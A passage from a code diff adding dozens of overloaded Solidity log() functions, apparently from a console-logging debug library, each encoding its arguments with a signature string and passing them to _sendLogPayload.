+
+    function log(uint p0, bool p1, uint p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,bool,uint,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, bool p1, uint p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,bool,uint,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, bool p1, uint p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,bool,uint,address)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, bool p1, string memory p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,bool,string,uint)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, bool p1, string memory p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,bool,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, bool p1, string memory p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,bool,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, bool p1, string memory p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,bool,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, bool p1, bool p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,bool,bool,uint)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, bool p1, bool p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,bool,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, bool p1, bool p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,bool,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, bool p1, bool p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,bool,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, bool p1, address p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,bool,address,uint)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, bool p1, address p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,bool,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, bool p1, address p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,bool,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, bool p1, address p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,bool,address,address)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, address p1, uint p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,address,uint,uint)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, address p1, uint p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,address,uint,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, address p1, uint p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,address,uint,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, address p1, uint p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,address,uint,address)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, address p1, string memory p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,address,string,uint)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, address p1, string memory p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,address,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, address p1, string memory p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,address,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, address p1, string memory p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,address,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, address p1, bool p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,address,bool,uint)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, address p1, bool p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,address,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, address p1, bool p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,address,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, address p1, bool p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,address,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, address p1, address p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,address,address,uint)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, address p1, address p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,address,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, address p1, address p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,address,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(uint p0, address p1, address p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(uint,address,address,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint p1, uint p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint,uint,uint)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint p1, uint p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint,uint,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint p1, uint p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint,uint,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint p1, uint p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint,uint,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint p1, string memory p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint,string,uint)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint p1, string memory p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint p1, string memory p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint p1, string memory p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint p1, bool p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint,bool,uint)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint p1, bool p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint p1, bool p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint p1, bool p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint p1, address p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint,address,uint)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint p1, address p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint p1, address p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, uint p1, address p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,uint,address,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, uint p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,uint,uint)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, uint p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,uint,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, uint p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,uint,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, uint p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,uint,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, string memory p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,string,uint)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, string memory p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, string memory p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, string memory p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, bool p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,bool,uint)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, bool p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, bool p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, bool p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, address p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,address,uint)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, address p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, address p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, string memory p1, address p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,string,address,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, uint p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,uint,uint)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, uint p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,uint,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, uint p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,uint,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, uint p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,uint,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, string memory p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,string,uint)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, string memory p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, string memory p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, string memory p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, bool p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,bool,uint)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, bool p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, bool p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, bool p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, address p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,address,uint)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, address p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, address p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, bool p1, address p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,bool,address,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, uint p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,uint,uint)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, uint p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,uint,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, uint p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,uint,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, uint p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,uint,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, string memory p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,string,uint)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, string memory p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, string memory p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, string memory p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, bool p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,bool,uint)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, bool p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, bool p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, bool p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, address p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,address,uint)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, address p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, address p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(string memory p0, address p1, address p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(string,address,address,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint p1, uint p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint,uint,uint)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint p1, uint p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint,uint,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint p1, uint p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint,uint,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint p1, uint p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint,uint,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint p1, string memory p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint,string,uint)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint p1, string memory p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint p1, string memory p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint p1, string memory p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint p1, bool p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint,bool,uint)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint p1, bool p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint p1, bool p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint p1, bool p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint p1, address p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint,address,uint)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint p1, address p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint p1, address p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, uint p1, address p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,uint,address,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, uint p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,uint,uint)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, uint p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,uint,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, uint p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,uint,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, uint p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,uint,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, string memory p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,string,uint)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, string memory p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, string memory p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, string memory p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, bool p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,bool,uint)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, bool p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, bool p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, bool p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, address p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,address,uint)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, address p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, address p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, string memory p1, address p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,string,address,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, uint p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,uint,uint)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, uint p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,uint,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, uint p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,uint,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, uint p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,uint,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, string memory p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,string,uint)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, string memory p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, string memory p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, string memory p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, bool p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,bool,uint)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, bool p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, bool p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, bool p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, address p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,address,uint)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, address p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, address p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, bool p1, address p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,bool,address,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, uint p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,uint,uint)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, uint p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,uint,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, uint p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,uint,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, uint p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,uint,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, string memory p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,string,uint)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, string memory p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, string memory p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, string memory p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, bool p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,bool,uint)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, bool p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, bool p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, bool p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, address p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,address,uint)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, address p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, address p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(bool p0, address p1, address p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(bool,address,address,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint p1, uint p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint,uint,uint)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint p1, uint p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint,uint,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint p1, uint p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint,uint,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint p1, uint p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint,uint,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint p1, string memory p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint,string,uint)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint p1, string memory p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint,string,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint p1, string memory p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint,string,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint p1, string memory p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint,string,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint p1, bool p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint,bool,uint)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint p1, bool p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint,bool,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint p1, bool p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint,bool,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint p1, bool p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint,bool,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint p1, address p2, uint p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint,address,uint)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint p1, address p2, string memory p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint,address,string)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint p1, address p2, bool p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint,address,bool)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, uint p1, address p2, address p3) internal view {
+        _sendLogPayload(abi.encodeWithSignature('log(address,uint,address,address)', p0, p1, p2, p3));
+    }
+
+    function log(address p0, string memory p1, uint p2, uint p3) internal view {
